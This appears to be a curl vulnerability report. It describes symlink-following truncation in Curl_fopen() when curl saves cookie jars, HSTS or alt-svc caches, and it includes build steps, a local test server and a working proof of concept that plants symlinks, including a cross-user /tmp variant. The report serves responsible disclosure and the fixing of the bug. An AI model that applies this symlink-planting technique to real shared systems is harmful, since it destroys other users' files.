curl · Report #4125257
Symlink-following truncation of arbitrary files in `Curl_fopen()` when saving cookie jars, HSTS, or alt-svc caches
How it was found
Affected Component
lib/curl_fopen.c,Curl_fopen(), line 98:curlx_fopen(filename, FOPEN_WRITETEXT)- Callers:
lib/cookie.c:1543(cookie jar save),lib/hsts.c:390(HSTS save),lib/altsvc.c:415(alt-svc save) - CLI entry points:
-c/--cookie-jar(src/config2setopts.c:575),--hsts FILE(:714),--alt-svc FILE(:711)
Summary
When curl saves a cookie jar (-c / --cookie-jar), an HSTS cache, or an alt-svc cache, Curl_fopen() first opens the destination path with mode "w" (lib/curl_fopen.c:98) so it can inspect the file. That call follows symbolic links and truncates the resolved file before any new data is written.
If an attacker can create a symlink at the cookie-jar path, for example in a shared /tmp directory or a shared CI workspace, the victim's curl truncates whatever file the symlink points to, provided the victim can write it. The attacker gains no read access and no code execution. The impact is destruction of the victim's file contents.
The -J (Content-Disposition) path already uses O_CREAT | O_EXCL to avoid this class of problem, so protection is inconsistent across the codebase.
Prerequisites
- The attacker can create a directory entry in a directory the victim uses for the cookie-jar path (for example, a sticky
/tmp, or a shared writable workspace). - The victim runs curl with
-c/--cookie-jar, or--hsts/--alt-svc, using that path. - The target file is writable by the victim's user.
fs.protected_symlinks=1may block cross-owner symlink following in sticky directories on hardened hosts. This mitigates the sticky-directory case. It does not stop the attack from a non-sticky writable directory, where the attacker can already modify files.
Steps to Reproduce
Tested on Ubuntu 24.04, GCC 13.3, CMake 3.28.3, OpenSSL 3.0.13.
1. Build curl from the source snapshot
cd curl-master
cmake -S . -B build -DCMAKE_BUILD_TYPE=Release \
-DBUILD_TESTING=OFF -DBUILD_LIBCURL_DOCS=OFF -DBUILD_MISC_DOCS=OFF \
-DENABLE_CURL_MANUAL=OFF -DCURL_USE_LIBPSL=OFF -DUSE_LIBIDN2=OFF \
-DCURL_USE_LIBSSH2=OFF -DCURL_ZSTD=OFF -DCURL_BROTLI=OFF \
-DUSE_NGHTTP2=OFF -DCURL_USE_LIBSSH=OFF -DENABLE_UNIX_SOCKETS=OFF \
-DCURL_DISABLE_LDAP=ON -DCURL_USE_OPENSSL=ON
cmake --build build --target curl -j"$(nproc)"
./build/src/curl --version # expect: curl 8.23.1-DEV
2. Start a local server that sets a cookie
Save as server.py:
import http.server, socketserver
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Set-Cookie", "session=abc123; Path=/")
self.send_header("Content-Length", "2")
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, *a):
pass
socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("127.0.0.1", 8765), H) as s:
s.serve_forever()
python3 -I server.py &
3. Create the victim file and the planted symlink
mkdir -p poc/victim poc/shared
printf 'IMPORTANT VICTIM DATA line 1\nIMPORTANT VICTIM DATA line 2\n' > poc/victim/secret.txt
ln -s "$PWD/poc/victim/secret.txt" poc/shared/cookies.txt
wc -c poc/victim/secret.txt # 58 bytes before
4. Run curl with the cookie jar pointed at the symlink
./build/src/curl -s -c poc/shared/cookies.txt http://127.0.0.1:8765/ -o /dev/null
echo "exit=$?"
5. Observe
wc -c poc/victim/secret.txt # 0 bytes after
ls -l poc/shared/cookies.txt # now a regular file containing the cookie (non-sticky dir)
tail -1 poc/shared/cookies.txt # 127.0.0.1 FALSE / FALSE 0 session abc123
Observed: the victim file went from 58 bytes to 0 bytes, and the symlink was replaced by the cookie jar.
6. Cross-user variant (realistic threat model)
Requires root to set up. The attacker plants the link in a sticky shared directory; an unprivileged user runs curl:
mkdir -p poc2/shared poc2/victim
chmod 1777 poc2/shared
printf 'VICTIM DATA\n' > poc2/victim/secret.txt
chown -R 65534:65534 poc2/victim
ln -s "$PWD/poc2/victim/secret.txt" poc2/shared/cookies.txt # created by root
# the unprivileged user must be able to traverse the path and execute the binary
setpriv --reuid=65534 --regid=65534 --clear-groups \
env -i HOME=/nonexistent ./build/src/curl -s -c poc2/shared/cookies.txt \
http://127.0.0.1:8765/ -o /dev/null
echo "exit=$?" # observed: 0
wc -c poc2/victim/secret.txt # observed: 0 bytes
ls -l poc2/shared/ # symlink still present; cookie write was dropped
Observed: the uid-65534 process truncated a file it owns through a symlink planted by a different user. The cookie jar was not written, and curl still exited 0.
7. Optional: permission inheritance
Run step 6 against a non-sticky shared directory, with the target at 0666:
chmod 0666 poc3/victim/target.txt
# run the curl command from step 6 against a non-sticky directory, then:
stat -c '%A %U %n' poc3/shared/cookies.txt # expected: -rw-rw-rw- (inherited from target)
This step is derived from the code and is not yet captured for 0666.
Expected Result
curl should refuse to write through a symlink at the cookie-jar path, or write only after confirming the destination is a regular file it may replace. It should never truncate a file it does not replace. The -J path behaves this way: O_CREAT | O_EXCL cannot follow an existing symlink.
Actual Result
The destination is opened with "w" and truncated before any temp-file logic runs. The symlink target is truncated to zero bytes, and in the sticky-directory case curl exits 0 with no cookie jar written.
Root Cause
lib/curl_fopen.c:97-106:
#ifndef _WIN32
*fh = curlx_fopen(filename, FOPEN_WRITETEXT); /* "w": O_TRUNC, follows symlinks */
if(!*fh)
goto fail;
if(curlx_fstat(fileno(*fh), &sb) == -1 || !S_ISREG(sb.st_mode)) {
return CURLE_OK;
}
curlx_fclose(*fh);
#endif /* !_WIN32 */
*fh = NULL;
The function needs only sb (file type and mode) from the existing file. It gets that by opening the file for writing, which has the side effect of truncation. The later fchmod() and temp-file creation do not depend on truncation.
Impact
- Data destruction (primary). Any regular file the victim's curl process can write is truncated to zero bytes. Realistic targets include project configuration files, shell startup files (
~/.bashrc), SSHauthorized_keys, and CI build inputs. This is an integrity and availability impact. - Silent loss of the cookie jar. In a sticky directory such as
/tmp, the finalrename()over the attacker-owned symlink is expected to fail withEPERM. The code then unlinks the temp file and discards the cookies. In testing, curl still exited0, so a script sees no error. (TheEPERMis inferred from the code path; the observable result was the missing jar and exit0.) - Permission inheritance from the symlink target. When the rename succeeds (non-sticky directory), the temp file is
fchmoded to the mode of the file that was truncated. The temp file is created as0600, but in testing the new jar came out0644, matching the target. If the target is world-writable, the cookie jar becomes world-writable, letting other local users inject cookies into the victim's future sessions. (Observed0644in the root test; the0666case is derived from the code and not separately captured.) - Exposure in shared environments. CI and build scripts commonly use fixed paths such as
/tmp/cookies.txt. Any local user can plant the link in advance.